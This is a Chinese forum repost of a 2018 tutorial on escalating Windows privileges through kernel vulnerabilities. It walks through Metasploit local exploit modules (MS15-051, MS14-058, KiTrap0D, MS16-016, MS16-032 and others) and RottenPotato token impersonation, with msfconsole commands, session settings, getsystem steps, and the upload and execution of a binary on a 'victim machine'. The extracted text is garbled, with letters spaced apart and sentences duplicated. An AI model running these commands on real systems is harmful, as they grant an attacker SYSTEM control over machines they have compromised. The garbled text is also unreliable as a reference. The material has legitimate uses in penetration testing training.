搜索

[13250] 2018-10-01_Windows内核漏洞利用提权教程

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2018-10-01_Windows内核漏洞利用提权教程 W i n d o w s 内 核 漏 洞 利 用 提 权 教 程 s e c i s t   F r e e B u f   2 0 1 8 - 1 0 - 0 1 P S .   本 文 仅 限 于 技 术 讨 论 ， 严 禁 用 于 其 他 用 途 。 本 文 仅 限 于 技 术 讨 论 ， 严 禁 用 于 其 他 用 途 。 继 上 一 篇 继 上 一 篇 “ 使 用 自 动 化 脚 本 进 行 使 用 自 动 化 脚 本 进 行 W i n d o w s 提 权 提 权 ” ， 本 文 将 介 绍 有 关 ， 本 文 将 介 绍 有 关 W i n d o w s 内 核 漏 洞 提 权 的 方 法 。 我 将 使 用 内 置 内 核 漏 洞 提 权 的 方 法 。 我 将 使 用 内 置 的 的 M e t a s p l o i t 模 块 作 为 演 示 。 通 过 本 文 的 学 习 ， 你 将 了 解 系 统 的 哪 些 部 分 可 被 利 用 ， 并 匹 配 最 佳 可 利 用 模 块 进 模 块 作 为 演 示 。 通 过 本 文 的 学 习 ， 你 将 了 解 系 统 的 哪 些 部 分 可 被 利 用 ， 并 匹 配 最 佳 可 利 用 模 块 进 一 步 的 提 升 权 限 。 一 步 的 提 升 权 限 。 W i n d o w s - E x p l o i t - s u g g e s t e r M e t a s p l o i t 内 置 模 块 提 供 了 各 种 可 用 于 提 权 的 l o c a l   e x p l o i t s ， 并 会 基 于 架 构 ， 平 台 （ 即 运 行 的 操 作 系 统 ） ， 会 话 类 型 和 所 需 默 认 选 项 提 供 建 议 。 这 极 大 的 节 省 了 我 们 的 时 间 ， 省 去 了 我 们 手 动 搜 索 l o c a l   e x p l o i t s 的 麻 烦 。 虽 说 如 此 ， 但 也 并 非 所 有 列 出 的 l o c a l   e x p l o i t s 都 可 用 。 所 以 ， 无 论 是 漏 洞 利 用 还 是 查 找 最 好 的 办 法 就 是 自 动 结 合 手 动 。 用 法 用 法 注 ： 注 ： 要 使 用 l o c a l   e x p l o i t   s u g g e s t e r ， 我 们 必 须 已 在 目 标 机 器 上 获 取 到 了 一 个 M e t e r p r e t e r   s e s s i o n 。 在 运 行 L o c a l   E x p l o i t s u g g e s t e r 之 前 ， 我 们 需 要 将 现 有 的 M e t e r p r e t e r   s e s s i o n 调 到 后 台 运 行 （ C T R L   +   Z ） 示 例 ， 假 设 我 们 现 在 有 一 个 M e t e r p r e t e r   s e s s i o n   1 如 下 图 所 示 ， 它 自 动 的 为 我 们 匹 配 出 了 一 些 可 能 的 用 于 易 受 攻 击 目 标 提 权 的 漏 洞 利 用 模 块 。 W i n d o w s   C l i e n t C o p y I m a g e   W i n 3 2 k   E x p l o i t W i n d o w s 内 核 模 式 驱 动 程 序 特 权 提 升 漏 洞 。 此 模 块 利 用 了 w i n 3 2 k . s y s 内 核 模 式 驱 动 程 序 中 的 不 正 确 对 象 处 理 进 行 提 权 。 该 模 块 已 在 W i n d o w s   7   x 6 4 和 x 8 6 ， W i n d o w s   2 0 0 8   R 2   S P 1   x 6 4 的 易 受 攻 击 版 本 上 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r s e t   L H O S T   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   S E S S I O N   1 e x p l o i t u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 5 _ 0 5 1 _ c l i e n t _ c o p y _ i m a g e s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t
一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M W i n d o w s   T r a c k P o p u p M e n u   W i n 3 2 k   N U L L 指 针 解 引 用 指 针 解 引 用 此 模 块 利 用 了 w i n 3 2 k . s y s 中 的 N U L L 指 针 解 引 用 ， 漏 洞 可 通 过 T r a c k P o p u p M e n u 函 数 进 行 触 发 。 在 特 殊 情 况 下 ， 我 们 可 以 滥 用 在 x x x S e n d M e s s a g e T i m e o u t 上 的 N U L L 指 针 解 引 用 ， 来 实 现 任 意 代 码 执 行 操 作 。 该 模 块 已 在 W i n d o w s   X P   S P 3 ， W i n d o w s   S e r v e r   2 0 0 3   S P 2 ， W i n d o w s   7   S P 1   W i n d o w s   S e r v e r   2 0 0 8   3 2 位 和 W i n d o w s S e r v e r   2 0 0 8   R 2   S P 1   6 4 位 上 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M g e t s y s t e m g e t u i d u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 4 _ 0 5 8 _ t r a c k _ p o p u p _ m e n u s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d
通 过 通 过 K i T r a p 0 D 提 升 提 升 * * W i n d o w s 权 限 权 限 * * 此 模 块 将 通 过 K i T r a p 0 D   e x p l o i t 创 建 具 有 S Y S T E M 权 限 的 新 会 话 ， 如 果 当 前 使 用 的 会 话 权 限 已 提 升 ， 则 e x p l o i t 将 不 会 运 行 。 该 模 块 依 赖 于 k i t r a p 0 d . x 8 6 . d l l ， 因 此 在 x 6 4 版 本 的 W i n d o w s 上 不 受 支 持 。 该 模 块 已 在 3 2 位 的 W i n d o w s   S e r v e r   2 0 0 3 ， W i n d o w s   S e r v e r   2 0 0 8 ， W i n d o w s   7 和 X P 易 受 攻 击 版 本 上 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 0 _ 0 1 5 _ k i t r a p 0 d s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d
T a s k   S c h e d u l e r   X M L 提 权 提 权 此 漏 洞 发 生 在 T a s k   S c h e d u l e r 中 ， 可 允 许 用 户 提 升 权 限 。 如 果 攻 击 者 登 录 到 受 影 响 的 系 统 ， 并 运 行 特 制 应 用 程 序 ， 则 该 漏 洞 可 能 允 许 特 权 提 升 。 攻 击 者 必 须 拥 有 有 效 的 登 录 凭 据 ， 并 且 能 够 在 本 地 登 录 才 能 成 功 利 用 此 漏 洞 。 远 程 或 匿 名 用 户 则 无 法 利 用 此 漏 洞 。 该 模 块 已 在 W i n d o w s   V i s t a ， W i n d o w s   7 ， W i n d o w s   S e r v e r   2 0 0 8   x 6 4 和 x 8 6 的 易 受 攻 击 版 本 上 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M M S 1 6 - 0 1 6   m r x d a v . s y s   W e b D a v 本 地 提 权 本 地 提 权 此 模 块 利 用 了 m r x d a v . s y s 中 的 漏 洞 。 其 将 在 目 标 系 统 生 成 一 个 进 程 ， 并 在 执 行 p a y l o a d 之 前 将 其 权 限 提 升 到 N T A U T H O R I T Y S Y S T E M 。 u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 0 _ 0 9 2 _ s c h e l e v a t o r s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d
该 模 块 已 在 W i n d o w s   7   S P 1 ， x 8 6 架 构 的 易 受 攻 击 版 本 上 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M E P A T H O B J : : p p r F l a t t e n R e c 本 地 提 权 本 地 提 权 此 模 块 利 用 了 E P A T H O B J   : :   p p r F l a t t e n R e c 上 的 漏 洞 ， 其 主 要 问 题 出 在 使 用 了 未 初 始 化 的 数 据 （ 即 允 许 损 坏 内 存 ） 。 目 前 ， 该 模 块 已 在 W i n d o w s   X P   S P 3 ， W i n d o w s   2 0 0 3   S P 1 和 W i n d o w s   7   S P 1 上 成 功 进 行 了 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 6 _ 0 1 6 _ w e b d a v s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d u s e   e x p l o i t / w i n d o w s / l o c a l / p p r _ f l a t t e n _ r e c s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d
M S 1 3 - 0 5 3   :   N T U s e r M e s s a g e C a l l   W i n 3 2 k 内 核 池 溢 出 内 核 池 溢 出 W i n 3 2 k 中 的 内 核 池 溢 出 漏 洞 ， 可 允 许 本 地 用 户 提 权 。 内 核 s h e l l c o d e 使 w i n l o g o n . e x e 进 程 的 A C L 为 N U L L （ S Y S T E M 进 程 ） 。 这 将 允 许 任 何 非 特 权 进 程 自 由 迁 移 到 w i n l o g o n . e x e ， 从 而 提 升 用 户 权 限 。 注 意 ： 退 出 m e t e r p r e t e r 会 话 时 ， 可 能 会 导 致 w i n l o g o n . e x e 崩 溃 。 目 前 ， 该 模 块 已 在 W i n d o w s   7   S P 1   x 8 6 上 成 功 测 试 。 让 我 们 转 到 M S F 控 制 台 并 执 行 该 漏 洞 的 e x p l o i t 模 块 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 3 _ 0 5 3 _   s c h l a m p e r e i s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 1 0 7 s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d
M S 1 6 - 0 3 2   S e c o n d a r y   L o g o n   H a n d l e 提 权 提 权 此 模 块 利 用 了 W i n d o w s   S e c o n d a r y   L o g o n   S e r v i c e 中 缺 少 标 准 句 柄 过 滤 的 问 题 。 该 漏 洞 主 要 影 响 W i n d o w s   7 - 1 0 和 2 k 8 - 2 k 1 2   3 2 / 6 4 位 版 本 。 此 模 块 仅 适 用 于 具 有 P o w e r s h e l l   2 . 0 或 更 高 版 本 的 W i n d o w s 系 统 ， 以 及 具 有 至 少 两 个 或 以 上 C P U 内 核 的 系 统 。 一 旦 e x p l o i t 成 功 执 行 ， 就 会 打 开 另 一 个 M e t e r p r e t e r   s e s s i o n 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M R o t t e n P o t a t o 使 用 R o t t e n P o t a t o 将 服 务 帐 户 本 地 提 权 至 S Y S T E M 。 首 先 ， 我 们 在 m e t e r p r e t e r 会 话 中 使 用 以 下 选 项 查 看 当 前 系 统 上 是 否 存 在 任 何 有 效 t o k e n s 。 可 以 看 到 ， 当 前 并 没 有 任 何 t o k e n 可 用 。 u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 6 _ 0 3 2 _ s e c o n d a r y _ l o g o n _ h a n d l e _ p r i v e s c s e t   s e s s i o n   1 e x p l o i t g e t s y s t e m g e t u i d l o a d   i n c o g n i t o l i s t _ t o k e n   - u
现 在 ， 我 们 从 g i t h u b 下 载 R o t t e n p o t a t o 。 。 下 载 完 成 后 我 们 会 在 R o t t e n p o t a t o 目 录 下 ， 看 到 一 个 r o t t e n p o t a t o . e x e 文 件 。 将 该 文 件 上 传 至 受 害 者 机 器 。 然 后 ， 键 入 以 下 命 令 执 行 该 e x e 文 件 ， 并 将 S Y S T E M   t o k e n 添 加 到 i m p e r s o n a t e   u s e r   t o k e n s 下 。 可 以 看 到 ， 我 们 当 前 的 用 户 权 限 已 提 升 为 了 N T   A U T H O R I T Y S Y S T E M * 参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M g i t   c l o n e   h t t p s : / / g i t h u b . c o m / f o x g l o v e s e c / R o t t e n P o t a t o . g i t c d   R o t t e n P o t a t o u p l o a d   / r o o t / D e s k t o p / R o t t e n P o t a t o / r o t t e n p o t a t o . e x e   . e x e c u t e   - H c   - f   r o t t e n p o t a t o . e x e i m p e r s o n a t e _ t o k e n   " N T   A U T H O R I T Y S Y S T E M "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理